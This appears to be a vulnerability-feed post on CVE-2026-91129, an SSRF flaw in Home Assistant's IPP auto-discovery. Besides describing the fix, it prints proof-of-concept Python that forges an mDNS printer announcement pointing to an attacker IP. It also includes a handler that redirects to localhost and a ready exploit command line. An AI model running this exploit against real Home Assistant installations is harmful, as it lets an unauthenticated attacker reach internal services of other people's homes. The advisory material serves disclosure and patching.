Listen to this Post
CVE-2026-91129 is a Server-Side Request Forgery (SSRF) vulnerability in the Home Assistant Green device, specifically within the Internet Printing Protocol (IPP) integration’s mDNS/Zeroconf auto-discovery mechanism. Home Assistant listens for mDNS service announcements on port 5353. When a service of type `_ipp._tcp.local` is discovered, the IPP integration’s zeroconf handler (homeassistant/components/ipp/config_flow.py) processes it automatically without any user interaction or authentication. The `async_step_zeroconf` method extracts the host, port, and `base_path` values directly from the mDNS discovery info without validation. These attacker-controlled values are then passed to validate_input(), which constructs an HTTP request (IPP over HTTP) to the specified host. The core issue is that the shared HTTP client blindly follows HTTP redirects. An attacker on the same local network can craft an mDNS response advertising a fake IPP printer that points to the attacker’s IP address. The attacker’s HTTP server then responds with a 302 redirect to an internal endpoint, such as http://127.0.0.1:<port>/<path>. Home Assistant follows this redirect, making a request to the internal service on the attacker’s behalf. This allows the attacker to coerce Home Assistant into issuing HTTP requests to arbitrary hosts, including services bound to localhost or other internal addresses that are not otherwise reachable. Exploitation requires no user interaction and no prior IPP configuration, as the IPP integration processes `_ipp._tcp.local` announcements automatically. The vulnerability is identified as CWE-918 and has a CVSS 3.1 base score of 5.4 (Medium severity). The issue is resolved in Home Assistant version 2026.2.3. Discovered by ZDI (ZDI-CAN-28336).
DailyCVE Form:
Platform: Home Assistant Green
Version: Prior to 2026.2.3
Vulnerability: mDNS SSRF IPP
Severity: Medium
date: 2026-08-12
Prediction: 2026-08-12
What Undercode Say:
pip install -r requirements.txt
def build_dns_response(service_name, service_type, attacker_ip, attacker_port):
transaction_id = 0x0000
flags = 0x8400
qdcount = 0
ancount = 4
nscount = 0
arcount = 0
SRV = service_name + '.' + service_type
header = struct.pack("!HHHHHH", transaction_id, flags, qdcount, ancount, nscount, arcount)
def encode_name(name):
parts = name.split(".")
out = b""
for p in parts:
out += bytes([len(p)]) + p.encode("utf-8")
out += b"\x00"
return out
answers = b""
answers += encode_name(service_type)
answers += struct.pack("!HHI", 12, 1, 1)
target = encode_name(SRV)
answers += struct.pack("!H", len(target)) + target
answers += encode_name(SRV)
answers += struct.pack("!HHI", 33, 1, 120)
srv_data = struct.pack("!HHH", 0, 0, attacker_port) + encode_name("hihiabcdmeomeo.local")
answers += struct.pack("!H", len(srv_data)) + srv_data
txt_strs = [b"abcd=efgh"]
txt_record = b"".join(bytes([len(s)]) + s for s in txt_strs)
answers += encode_name(SRV)
answers += struct.pack("!HHI", 16, 1, 120)
answers += struct.pack("!H", len(txt_record)) + txt_record
answers += encode_name("hihiabcdmeomeo.local")
answers += struct.pack("!HHI", 1, 1, 120)
ip_bytes = socket.inet_aton(attacker_ip)
answers += struct.pack("!H", len(ip_bytes)) + ip_bytes
return header + answers
class RedirectHandler(BaseHTTPRequestHandler):
def do_POST(self):
self.send_response(302)
self.send_header("Location", "http://127.0.0.1:<INTERNAL_PORT>/<path>")
self.end_headers()
Exploit: (Educational Purposes!)
python3 zeroconf.py -type _ipp._tcp.local -has_ip <HOME_ASSISTANT_IP> -attacker_ip <ATTACKER_IP> -name meomeo
Protection: from this CVE
The shared aiohttp client used by integrations now blocks cross-origin redirects to internal addresses. When a request to a non-loopback host is redirected to a loopback or unspecified address, the redirect is refused and an error is raised instead of being followed. The check matches both literal hostnames (localhost and its subdomains) and hostnames that resolve to a loopback IP, so DNS-based bypasses are covered. Relative redirects, non-network URI schemes, and requests that already target loopback (legitimate local integrations) are unaffected.
Impact:
An unauthenticated attacker on the same local network can coerce Home Assistant into issuing HTTP requests to arbitrary hosts, including services bound to 127.0.0.1 or other internal addresses that are not otherwise reachable. Exploitation requires no user interaction and no prior IPP configuration — the IPP integration processes `_ipp._tcp.local` announcements automatically, and the HTTP client used to fetch printer metadata follows attacker-supplied redirects.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
